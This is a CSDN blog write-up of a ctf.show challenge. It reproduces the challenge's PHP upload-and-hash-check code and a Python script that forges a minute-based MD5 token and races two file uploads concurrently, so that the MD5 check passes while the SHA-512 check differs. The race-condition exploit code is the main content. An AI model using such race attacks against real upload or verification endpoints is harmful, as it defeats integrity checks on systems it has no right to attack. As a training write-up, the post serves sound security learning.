ctf.show_红包题第六弹

文章描述了一个PHP函数,用于接收通过HTTPPOST上传的文件进行安全验证,包括使用MD5和SHA-512哈希进行文件内容的比对。脚本中涉及构造token,上传相同和不同文件,并利用多线程或并发执行提高效率。
摘要由CSDN通过智能技术生成

 题目:

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
    return $ret;
}
if(md5(date("i")) === $token){
	
	$receiveFile = 'flag.dat';
	receiveStreamFile($receiveFile);
	if(md5_file($receiveFile)===md5_file("key.dat")){
		if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
			$ret['success']="1";
			$ret['msg']="人脸识别成功!$flag";
			$ret['error']="0";
			echo json_encode($ret);
			return;
		}

			$ret['errormsg']="same file";
			echo json_encode($ret);
			return;
	}
			$ret['errormsg']="md5 error";
			echo json_encode($ret);
			return;
} 

$ret['errormsg']="token error";
echo json_encode($ret);
return;

 思路:

1.构造token

2.先上传一模一样的key.dat,通过md5值的比较

3.在极短的时间内,传上不同的key2.dat,通过SHA-512哈希值的比较。

脚本: 

这里放了竞争的两种格式 

import time
import hashlib
import requests
# import threading #法二
from concurrent.futures import ThreadPoolExecutor   #法一
# 题目token
i = str(time.localtime().tm_min)
token = hashlib.md5(i.encode()).hexdigest()

# 上传的文件列表
file_paths = ['key.dat', 'key2.dat']
url = "https://a9a37cc7-8ff5-4587-b072-bcae28577c50.challenge.ctf.show/check.php?token={}&php://input".format(token)

# 读取数据
file_datas = {}
for file_path in file_paths:
    with open(file_path, 'rb') as file:
        file_datas[file_path] = file.read()

# 上传文件函数
def upload_file(file_path):
    data = file_datas[file_path]
    response = requests.post(url, data)
    if "ctfshow" in response.text:
        print(response.text)

# for i in range(50):       #法二
#     threading.Thread(target=upload_file, args=('key.dat',)).start()
# for i in range(50):
#     threading.Thread(target=upload_file, args=('key2.dat',)).start()

with ThreadPoolExecutor() as executor:  #法一
    for i in range(200):
        executor.map(upload_file, file_datas)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值